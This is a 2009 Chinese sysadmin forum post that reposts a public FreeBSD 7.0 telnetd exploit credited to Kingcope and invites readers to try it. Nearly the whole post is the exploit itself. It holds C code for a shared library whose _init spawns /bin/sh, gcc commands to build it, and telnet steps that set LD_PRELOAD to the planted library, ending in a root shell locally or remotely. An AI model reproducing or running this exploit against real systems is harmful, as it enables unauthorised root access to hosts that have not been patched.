服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 4298|回复: 1

FreeBSD爆0day 远程能溢出本地可提权

[复制链接]
dirtysea 发表于 2009-8-15 00:38:04 | 显示全部楼层 |阅读模式
没想到现在有人会研究,看到后惊叹了一下。是telnetd部分的问题,在FreeBSD7.0正式版测试通过,7.1似乎也有同样问题,但未经过测试。有兴趣的朋友可以调试一下,代码如下:
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include
#include
#include
#include
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----
Then we compile this stuff.
---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----
Then we copy the file to a known location (local root exploit)
---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----
...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.
---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-24 11:31 , Processed in 0.336774 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表